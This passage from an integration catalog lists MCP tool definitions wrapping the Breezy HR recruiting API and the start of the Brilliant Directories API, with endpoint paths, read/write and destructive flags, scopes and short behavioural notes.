objects. Each attachment's `url` is rewritten to include a temporary download token (a `key` query parameter) that is valid for 1 hour. Breezy GET /v3/company/{companyId}/position/{positionId}/custom-fields. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/position/{positionId}/custom-fields. Scopes: api. breezyhr_get_company_by_companyid_position_by_positionid_stream (read) — Returns the position's activity stream: a list of state-change events recorded against the position (e.g. transitions between `draft`, `published`, `closed`, and `archived`). Each entry includes the previous and new state (`state_was`/`state_is`), the acting user, a timestamp, and snapshots of the position and company at the time of the event. Breezy GET /v3/company/{companyId}/position/{positionId}/stream. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/position/{positionId}/stream. Scopes: api. breezyhr_get_company_by_companyid_position_by_positionid_team (read) — Returns the list of team members assigned to the specified position, including each member's user profile and the role(s) (e.g. recruiter, hiring manager, interviewer) they hold on that position. Breezy GET /v3/company/{companyId}/position/{positionId}/team. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/position/{positionId}/team. Scopes: api. breezyhr_get_company_by_companyid_positions (read) — Returns the positions belonging to the specified company. - Filter by lifecycle state with the `state` query parameter (`published`, `draft`, `archived`, `closed`, `pending`); when `state` is omitted, archived positions are excluded from the results. Breezy GET /v3/company/{companyId}/positions. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/positions. Scopes: api. breezyhr_get_company_by_companyid_questionnaire_by_questionnaireid (read) — Retrieves a single questionnaire belonging to the company by its ID, including its sections and questions (each with its text, type, required flag, and answer options), the associated message template, and questionnaire options such as the default "move to" pipeline stage/status. Breezy GET /v3/company/{companyId}/questionnaire/{questionnaireId}. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/questionnaire/{questionnaireId}. Scopes: api. breezyhr_get_company_by_companyid_questionnaires (read) — Returns the list of questionnaires configured for the company. Each item includes the questionnaire's `_id`, `name`, `sections`, `questions`, `message_template`, and `options`. Breezy GET /v3/company/{companyId}/questionnaires. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/questionnaires. Scopes: api. breezyhr_get_company_by_companyid_template_by_templateid (read) — Retrieves a single saved message template for the company by its `templateId`, returning the template's `_id`, `name`, and `body`. Breezy GET /v3/company/{companyId}/template/{templateId}. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/template/{templateId}. Scopes: api. breezyhr_get_company_by_companyid_templates (read) — Returns the list of message templates configured for the company, each item including its `_id`, `name`, and `body`. Returns all templates in a single response (no pagination). Breezy GET /v3/company/{companyId}/templates. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/templates. Scopes: api. breezyhr_get_company_by_companyid_webhook_endpoint_by_endpointid (read) — Retrieves a single webhook endpoint's configuration and delivery stats by its ID. The response includes `url`, `description`, `events`, `status`, `enabled`, delivery `stats` (success/failure counts, last delivery timestamps), auto-disable state, and `secret_prefix` — the full signing secret is only ever returned when the endpoint is created, not here. Breezy GET /v3/company/{companyId}/webhook_endpoint/{endpointId}. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/webhook_endpoint/{endpointId}. Scopes: api. breezyhr_get_company_by_companyid_webhook_endpoints (read) — Lists the webhook endpoints configured for the company, along with quota usage. Returns a `data` array of endpoints (`id`, `url`, `description`, `events`, `status`, `enabled`, delivery `stats`, auto-disable info, `secret_prefix`, timestamps) and a `meta` object with `total` and a `quota` breakdown (`current`, `limit`, `available`, `exceeded`) against the per-company webhook limit. Breezy GET /v3/company/{companyId}/webhook_endpoints. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/webhook_endpoints. Scopes: api. breezyhr_get_health (read) — Returns `200 OK` if the API service is running; the response body is the plain-text status message `OK`. Use this as a simple liveness check. It requires no authentication and does not reflect the health of downstream dependencies — the handler always returns 200 without performing any checks. Breezy GET /v3/health. Breezy exempts this operation from the Authorization header. GET /api/v1/breezyhr/health. Scopes: api. breezyhr_get_signout (write, destructive) — Invalidates the current access token, signing the user out; returns `204` with no body. **Idempotent:** the endpoint always returns `204`, even if the `Authorization` header is missing or the token was already invalid/expired — there is no error response for this case. **Note on CSRF:** This endpoint uses GET, which can be triggered passively by browsers. Breezy GET /v3/signout. Flagged destructive by Agentic Fabriq: whether this invalidates the Personal Access Token this connection holds, or only a /v3/signin session token, is undocumented and unmeasured -- if it is the former the connection needs a new key pasted. GET /api/v1/breezyhr/signout. Scopes: api. breezyhr_get_user (read) — Returns the profile of the currently authenticated user. Breezy GET /v3/user. GET /api/v1/breezyhr/user. Scopes: api. breezyhr_get_user_details (read) — Returns a snapshot of every company the authenticated user belongs to, keyed by each company's `friendly_id`. Breezy GET /v3/user/details. GET /api/v1/breezyhr/user/details. Scopes: api. breezyhr_post_company_by_companyid_candidates_search (write) — Free-text search across every candidate in the company, served by the same search index that powers in-app candidate search. This verb always returns the paginated envelope below - one request contract, one response contract. `email_address` is not accepted here and returns `400`. Breezy POST /v3/company/{companyId}/candidates/search. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. POST /api/v1/breezyhr/company/{companyId}/candidates/search. Scopes: api. breezyhr_post_company_by_companyid_position_by_positionid_candidate_by_candidateid_assessments (write) — Upserts an assessment keyed on `(provider_type, external_id)` for the candidate-position. When authenticated with a partner API key, `provider_type` is set from the partner registry and `provider_name` in the body is ignored. Customer tokens may set `provider_name` when no partner key is present. All content blocks are optional except identity fields. Breezy POST /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/assessments. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. POST /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/assessments. Scopes: api. breezyhr_post_company_by_companyid_position_by_positionid_candidate_by_candidateid_conversation (write) — Sends a message to the candidate within their conversation for this position, delivering it directly to the candidate (e.g. by email), and returns the resulting conversation activity record. `body` (HTML or plain text) is required; `subject` and a file `attachment` may also be included. Breezy POST /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/conversation. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. POST /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/conversation. Scopes: api. breezyhr_post_company_by_companyid_position_by_positionid_candidate_by_candidateid_move (write) — Moves a candidate to a target position and pipeline stage, and returns the updated candidate. `target_position_id` and `target_stage_id` are required. Set `stage_actions_enabled` to `true` to run the target stage's configured automated actions (e.g. emails, questionnaires) on the move; it defaults to `false`. Breezy POST /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/move. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. POST /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/move. Scopes: api. breezyhr_post_company_by_companyid_position_by_positionid_candidate_by_candidateid_questionnaire_by_questionnaireid (write) — Submits a candidate's answers to a questionnaire that was sent to them, validates them against the questionnaire's questions, and marks the questionnaire completed. Note: `questionnaireId` is the ID of the candidate's specific questionnaire response (as returned by the list-questionnaires endpoint), not the questionnaire template ID. Breezy POST /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/questionnaire/{questionnaireId}. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. POST /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/questionnaire/{questionnaireId}. Scopes: api. breezyhr_post_company_by_companyid_position_by_positionid_candidate_by_candidateid_send_questionnaire (write) — Sends an existing questionnaire template to the candidate, attaching it to the candidate's record on the given position and returning the resulting candidate questionnaire (sections, questions, status, etc.). The questionnaire to send is identified by the required `questionnaire_id` query parameter. Breezy POST /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/send-questionnaire. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. POST /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/send-questionnaire. Scopes: api. breezyhr_post_company_by_companyid_position_by_positionid_candidate_by_candidateid_stream (write) — Adds an internal note to the candidate's activity stream and returns the created stream activity, including the note body and the position/candidate/acting-user context. Notes are internal to your team — they are not sent to or visible by the candidate. A non-empty `body` is required; omitting it returns a 400. Breezy POST /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/stream. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. POST /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/stream. Scopes: api. breezyhr_post_company_by_companyid_position_by_positionid_candidates (write) — Creates a candidate on the specified position and returns the created candidate record. - `origin: sourced` (the default) adds the candidate directly into the position's "Applied" stage, as if manually sourced. Breezy POST /v3/company/{companyId}/position/{positionId}/candidates. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. POST /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidates. Scopes: api. breezyhr_post_company_by_companyid_positions (write) — Creates a new position (job requisition) for the company and returns the newly created position object. `name`, `type`, `description`, and `location.country` are required. `type`, `experience`, and `education` must match Breezy's supported values, and `location.state` is validated against US states or Canadian provinces when `location.country` is `US` or `CA`. Breezy POST /v3/company/{companyId}/positions. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. POST /api/v1/breezyhr/company/{companyId}/positions. Scopes: api. breezyhr_post_company_by_companyid_webhook_endpoint_by_endpointid_pause (write) — Pauses a webhook endpoint, stopping event deliveries to it, and returns the updated webhook endpoint object. Sets the endpoint's `status` to `paused` and `enabled` to `false`; the endpoint and its configuration are preserved and can be re-enabled later via the resume endpoint. Breezy POST /v3/company/{companyId}/webhook_endpoint/{endpointId}/pause. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. POST /api/v1/breezyhr/company/{companyId}/webhook_endpoint/{endpointId}/pause. Scopes: api. breezyhr_post_company_by_companyid_webhook_endpoint_by_endpointid_resume (write) — Resumes a paused (or auto-disabled) webhook endpoint, setting it back to active and re-enabling event delivery. Resuming also clears any auto-disable state — failure count, auto-disabled reason, and auto-disabled timestamp — so an endpoint that was automatically disabled after repeated delivery failures starts fresh rather than immediately re-tripping. Returns the updated webhook endpoint object. Breezy POST /v3/company/{companyId}/webhook_endpoint/{endpointId}/resume. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. POST /api/v1/breezyhr/company/{companyId}/webhook_endpoint/{endpointId}/resume. Scopes: api. breezyhr_post_company_by_companyid_webhook_endpoints (write) — Creates a new webhook endpoint for the company and subscribes it to the specified event types, so matching events are delivered to the given URL as they occur. Each company is limited to 10 webhook endpoints — exceeding this quota returns a 429. Breezy POST /v3/company/{companyId}/webhook_endpoints. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. POST /api/v1/breezyhr/company/{companyId}/webhook_endpoints. Scopes: api. breezyhr_put_company_by_companyid_position_by_positionid (write) — Updates an existing position and returns the full updated position object. This is a partial update — include only the fields you want to change; any field not on the position's editable-fields list is silently dropped from the request. Breezy PUT /v3/company/{companyId}/position/{positionId}. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. PUT /api/v1/breezyhr/company/{companyId}/position/{positionId}. Scopes: api. breezyhr_put_company_by_companyid_position_by_positionid_candidate_by_candidateid (write) — Updates editable profile fields on an existing candidate within a position, and returns the full updated candidate object. This is a partial update — include only the fields you want to change. Breezy PUT /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. PUT /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}. Scopes: api. breezyhr_put_company_by_companyid_position_by_positionid_candidate_by_candidateid_custom_attribute (write) — Sets a custom attribute on a candidate and returns the updated candidate object. Requires `name` and a string `value`; if a custom attribute with the same name (and `secure` flag) already exists on the candidate, its value is updated, otherwise a new attribute is added. Set `secure: true` to have the value stored encrypted. Breezy PUT /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/custom-attribute. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. PUT /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/custom-attribute. Scopes: api. breezyhr_put_company_by_companyid_position_by_positionid_candidate_by_candidateid_custom_fields_by_customfieldid (write) — Updates the value of one custom field on a candidate, identified by the company-level custom field ID, and returns the candidate's complete list of custom fields reflecting the change. Breezy PUT /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/custom-fields/{customFieldId}. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. PUT /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/custom-fields/{customFieldId}. Scopes: api. breezyhr_put_company_by_companyid_position_by_positionid_candidate_by_candidateid_education (write) — Adds a new education entry to the candidate's profile and returns the updated Candidate object. The new entry is appended to the candidate's existing education history rather than replacing it. Breezy PUT /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/education. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. PUT /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/education. Scopes: api. breezyhr_put_company_by_companyid_position_by_positionid_candidate_by_candidateid_scorecard (write) — Records a scorecard rating for the candidate on the specified position, attributed to the authenticated API user. Requires `score`, one of `very_good`, `good`, `neutral`, `poor`, or `very_poor`; only `score` and `note` are persisted, and all other request body properties are silently discarded. Returns `204 No Content` with an empty body on success. Breezy PUT /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/scorecard. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. PUT /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/scorecard. Scopes: api. breezyhr_put_company_by_companyid_position_by_positionid_candidate_by_candidateid_stage (write) — Moves the candidate to a different stage in the position's pipeline, identified by `stage_id`. `stage_id` must match a stage in that position's pipeline (falling back to the company's default pipeline); an unknown stage id fails the request. Every successful move records a stage-change activity and fires the corresponding webhook. Breezy PUT /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/stage. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. PUT /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/stage. Scopes: api. breezyhr_put_company_by_companyid_position_by_positionid_candidate_by_candidateid_work_history (write) — Appends a new entry to the candidate's work history and returns the full updated [Candidate](#schema/candidate) object. `company_name` is required. Note that the request body uses flat `start_year` / `start_month` / `end_year` / `end_month` fields, but the `work_history` entries in the response are nested as `start_date: { year, month }` / `end_date: { year, month }`. Breezy PUT /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/work-history. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. PUT /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/work-history. Scopes: api. breezyhr_put_company_by_companyid_position_by_positionid_custom_fields_by_customfieldid (write) — Sets the value of a single custom field on a position, identified by its custom field ID. Breezy PUT /v3/company/{companyId}/position/{positionId}/custom-fields/{customFieldId}. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. PUT /api/v1/breezyhr/company/{companyId}/position/{positionId}/custom-fields/{customFieldId}. Scopes: api. breezyhr_put_company_by_companyid_position_by_positionid_state (write) — Updates the state (lifecycle status) of a position, moving it between `published`, `draft`, `archived`, and `closed`. Returns no content on success. Setting `state` to `published` can fail with a 400 error if the company has reached its active position limit. Breezy PUT /v3/company/{companyId}/position/{positionId}/state. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. PUT /api/v1/breezyhr/company/{companyId}/position/{positionId}/state. Scopes: api. breezyhr_put_company_by_companyid_webhook_endpoint_by_endpointid (write) — Updates an existing webhook endpoint and returns the updated resource. Only the fields included in the request body are changed — omitted fields keep their current value. A few notes: - `url` must use HTTPS; private/internal IP ranges are rejected (the same validation applied at creation). Breezy PUT /v3/company/{companyId}/webhook_endpoint/{endpointId}. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. PUT /api/v1/breezyhr/company/{companyId}/webhook_endpoint/{endpointId}. Scopes: api. ================================================================================ ## Brilliant Directories URL: https://www.agenticfabriq.com/integrations/brilliantdirectories Section: Integrated Tools Brilliant Directories — 626 MCP tools Provider key: brilliantdirectories. Scopes: advanced_endpoints, standard_endpoints. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. brilliantdirectories_delete_api_v2_admin_role_permissions_delete (write, destructive) — Delete an admin role permission from the database via DELETE /api/v2/admin_role_permissions/delete DELETE /api/v1/brilliantdirectories/api/v2/admin_role_permissions/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_admin_role_plugins_permissions_delete (write, destructive) — Delete an admin role plugin permission from the database via DELETE /api/v2/admin_role_plugins_permissions/delete DELETE /api/v1/brilliantdirectories/api/v2/admin_role_plugins_permissions/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_admin_roles_delete (write, destructive) — Delete an admin role from the database via DELETE /api/v2/admin_roles/delete DELETE /api/v1/brilliantdirectories/api/v2/admin_roles/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_bd_api_keys_delete (write, destructive) — Delete an API key from the database via DELETE /api/v2/bd_api_keys/delete DELETE /api/v1/brilliantdirectories/api/v2/bd_api_keys/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_bd_history_delete (write, destructive) — Delete a backup history record from the per-site backups database via DELETE /api/v2/bd_history/delete DELETE /api/v1/brilliantdirectories/api/v2/bd_history/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_bd_webhooks_delete (write, destructive) — Delete a webhook from the database via DELETE /api/v2/bd_webhooks/delete DELETE /api/v1/brilliantdirectories/api/v2/bd_webhooks/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_business_data_api_task_delete (write, destructive) — Delete a business data task from the database via DELETE /api/v2/business_data_api_task/delete DELETE /api/v1/brilliantdirectories/api/v2/business_data_api_task/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_business_data_logs_delete (write, destructive) — Delete a business data log from the database via DELETE /api/v2/business_data_logs/delete DELETE /api/v1/brilliantdirectories/api/v2/business_data_logs/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_category_group_delete (write, destructive) — Delete a category group from the database via DELETE /api/v2/category_group/delete DELETE /api/v1/brilliantdirectories/api/v2/category_group/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_chat_message_items_delete (write, destructive) — Delete a chat message from the database via DELETE /api/v2/chat_message_items/delete DELETE /api/v1/brilliantdirectories/api/v2/chat_message_items/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_chat_message_threads_delete (write, destructive) — Delete a chat thread from the database via DELETE /api/v2/chat_message_threads/delete DELETE /api/v1/brilliantdirectories/api/v2/chat_message_threads/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_comments_delete (write, destructive) — Delete a comment from the database via DELETE /api/v2/comments/delete DELETE /api/v1/brilliantdirectories/api/v2/comments/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_contacts_bridge_delete (write, destructive) — Delete a contact link from the database via DELETE /api/v2/contacts_bridge/delete DELETE /api/v1/brilliantdirectories/api/v2/contacts_bridge/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_contacts_delete (write, destructive) — Delete a contact from the database via DELETE /api/v2/contacts/delete DELETE /api/v1/brilliantdirectories/api/v2/contacts/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_data_categories_delete (write, destructive) — Delete a post type and their related data from the database via DELETE /api/v2/data_categories/delete DELETE /api/v1/brilliantdirectories/api/v2/data_categories/delete. Scopes: standard_endpoints. brilliantdirectories_delete_api_v2_data_flow_actions_delete (write, destructive) — Delete a data flow action from the database via DELETE /api/v2/data_flow_actions/delete DELETE /api/v1/brilliantdirectories/api/v2/data_flow_actions/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_data_flows_delete (write, destructive) — Delete a data flow from the database via DELETE /api/v2/data_flows/delete DELETE /api/v1/brilliantdirectories/api/v2/data_flows/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_data_posts_delete (write, destructive) — Delete a Single Image Post and their related data from the database via DELETE /api/v2/data_posts/delete DELETE /api/v1/brilliantdirectories/api/v2/data_posts/delete. Scopes: standard_endpoints. brilliantdirectories_delete_api_v2_data_types_delete (write, destructive) — Delete a data type from the database via DELETE /api/v2/data_types/delete DELETE /api/v1/brilliantdirectories/api/v2/data_types/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_data_widgets_delete (write, destructive) — Delete a widget and their related data from the database via DELETE /api/v2/data_widgets/delete DELETE /api/v1/brilliantdirectories/api/v2/data_widgets/delete. Scopes: standard_endpoints. brilliantdirectories_delete_api_v2_data_widgets_rel_delete (write, destructive) — Delete a widget placement from the database via DELETE /api/v2/data_widgets_rel/delete DELETE /api/v1/brilliantdirectories/api/v2/data_widgets_rel/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_email_auto_log_delete (write, destructive) — Delete an email auto log entry from the database via DELETE /api/v2/email_auto_log/delete DELETE /api/v1/brilliantdirectories/api/v2/email_auto_log/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_email_auto_sent_delete (write, destructive) — Delete an email auto sent record from the database via DELETE /api/v2/email_auto_sent/delete DELETE /api/v1/brilliantdirectories/api/v2/email_auto_sent/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_email_automation_settings_delete (write, destructive) — Delete an email automation rule from the database via DELETE /api/v2/email_automation_settings/delete DELETE /api/v1/brilliantdirectories/api/v2/email_automation_settings/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_email_list_delete (write, destructive) — Delete an email list subscriber from the database via DELETE /api/v2/email_list/delete DELETE /api/v1/brilliantdirectories/api/v2/email_list/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_email_log_delete (write, destructive) — Delete an email log entry from the database via DELETE /api/v2/email_log/delete DELETE /api/v1/brilliantdirectories/api/v2/email_log/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_email_outbox_delete (write, destructive) — Delete an email outbox entry from the database via DELETE /api/v2/email_outbox/delete DELETE /api/v1/brilliantdirectories/api/v2/email_outbox/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_email_outbox_log_delete (write, destructive) — Delete an email outbox log entry from the database via DELETE /api/v2/email_outbox_log/delete DELETE /api/v1/brilliantdirectories/api/v2/email_outbox_log/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_email_schedule_delete (write, destructive) — Delete an email campaign from the database via DELETE /api/v2/email_schedule/delete DELETE /api/v1/brilliantdirectories/api/v2/email_schedule/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_email_templates_delete (write, destructive) — Delete an email template from the database via DELETE /api/v2/email_templates/delete DELETE /api/v1/brilliantdirectories/api/v2/email_templates/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_form_delete (write, destructive) — Delete a form from the database via DELETE /api/v2/form/delete DELETE /api/v1/brilliantdirectories/api/v2/form/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_form_fields_delete (write, destructive) — Delete a form field from the database via DELETE /api/v2/form_fields/delete DELETE /api/v1/brilliantdirectories/api/v2/form_fields/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_form_inquiries_delete (write, destructive) — Delete a form inquiry from the database via DELETE /api/v2/form_inquiries/delete DELETE /api/v1/brilliantdirectories/api/v2/form_inquiries/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_image_settings_delete (write, destructive) — Delete an image setting from the database via DELETE /api/v2/image_settings/delete DELETE /api/v1/brilliantdirectories/api/v2/image_settings/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_installer_groups_delete (write, destructive) — Delete an installer group from the database via DELETE /api/v2/installer_groups/delete DELETE /api/v1/brilliantdirectories/api/v2/installer_groups/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_installer_steps_delete (write, destructive) — Delete an installer step from the database via DELETE /api/v2/installer_steps/delete DELETE /api/v1/brilliantdirectories/api/v2/installer_steps/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_lead_matches_delete (write, destructive) — Delete a lead match from the database via DELETE /api/v2/lead_matches/delete DELETE /api/v1/brilliantdirectories/api/v2/lead_matches/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_leads_delete (write, destructive) — Delete a lead and their related data from the database via DELETE /api/v2/leads/delete DELETE /api/v1/brilliantdirectories/api/v2/leads/delete. Scopes: standard_endpoints. brilliantdirectories_delete_api_v2_list_countries_delete (write, destructive) — Delete a country from the database via DELETE /api/v2/list_countries/delete DELETE /api/v1/brilliantdirectories/api/v2/list_countries/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_list_professions_delete (write, destructive) — Delete a top-level category by body parameter (with safety check) via DELETE /api/v2/list_professions/delete DELETE /api/v1/brilliantdirectories/api/v2/list_professions/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_list_professions_delete_by_profession_id (write, destructive) — Delete a top-level category by URL path (with safety check) via DELETE /api/v2/list_professions/delete/{profession_id} DELETE /api/v1/brilliantdirectories/api/v2/list_professions/delete/{profession_id}. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_list_seo_delete (write, destructive) — Delete a page from the database via DELETE /api/v2/list_seo/delete DELETE /api/v1/brilliantdirectories/api/v2/list_seo/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_list_seo_template_delete (write, destructive) — Delete a SEO template from the database via DELETE /api/v2/list_seo_template/delete DELETE /api/v1/brilliantdirectories/api/v2/list_seo_template/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_list_services_delete (write, destructive) — Delete a sub category (with safety check) via DELETE /api/v2/list_services/delete DELETE /api/v1/brilliantdirectories/api/v2/list_services/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_list_services_delete_by_service_id (write, destructive) — Delete a subcategory by URL path (with safety check) via DELETE /api/v2/list_services/delete/{service_id} DELETE /api/v1/brilliantdirectories/api/v2/list_services/delete/{service_id}. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_list_states_delete (write, destructive) — Delete a state/region from the database via DELETE /api/v2/list_states/delete DELETE /api/v1/brilliantdirectories/api/v2/list_states/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_location_cities_delete (write, destructive) — Delete a location city from the database via DELETE /api/v2/location_cities/delete DELETE /api/v1/brilliantdirectories/api/v2/location_cities/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_location_states_delete (write, destructive) — Delete a location state mapping from the database via DELETE /api/v2/location_states/delete DELETE /api/v1/brilliantdirectories/api/v2/location_states/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_marketing_offers_delete (write, destructive) — Delete a marketing offer from the database via DELETE /api/v2/marketing_offers/delete DELETE /api/v1/brilliantdirectories/api/v2/marketing_offers/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_menu_items_delete (write, destructive) — Delete a menu item from the database via DELETE /api/v2/menu_items/delete DELETE /api/v1/brilliantdirectories/api/v2/menu_items/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_menus_delete (write, destructive) — Delete a menu from the database via DELETE /api/v2/menus/delete DELETE /api/v1/brilliantdirectories/api/v2/menus/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_messages_delete (write, destructive) — Delete a message from the database via DELETE /api/v2/messages/delete DELETE /api/v1/brilliantdirectories/api/v2/messages/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_notes_delete (write, destructive) — Delete a note from the database via DELETE /api/v2/notes/delete DELETE /api/v1/brilliantdirectories/api/v2/notes/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_password_retrieval_sessions_delete (write, destructive) — Delete a password retrieval session from the database via DELETE /api/v2/password_retrieval_sessions/delete DELETE /api/v1/brilliantdirectories/api/v2/password_retrieval_sessions/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_plugin_records_delete (write, destructive) — Delete a plugin record from the database via DELETE /api/v2/plugin_records/delete DELETE /api/v1/brilliantdirectories/api/v2/plugin_records/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_post_transactions_delete (write, destructive) — Delete a post transaction from the database via DELETE /api/v2/post_transactions/delete DELETE /api/v1/brilliantdirectories/api/v2/post_transactions/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_redirect_301_delete (write, destructive) — Delete a redirect from the database via DELETE /api/v2/redirect_301/delete DELETE /api/v1/brilliantdirectories/api/v2/redirect_301/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_rel_services_delete (write, destructive) — Delete a user service from the database via DELETE /api/v2/rel_services/delete DELETE /api/v1/brilliantdirectories/api/v2/rel_services/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_rel_tags_delete (write, destructive) — Delete a tag relationship from the database via DELETE /api/v2/rel_tags/delete DELETE /api/v1/brilliantdirectories/api/v2/rel_tags/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_service_areas_delete (write, destructive) — Delete a service area from the database via DELETE /api/v2/service_areas/delete 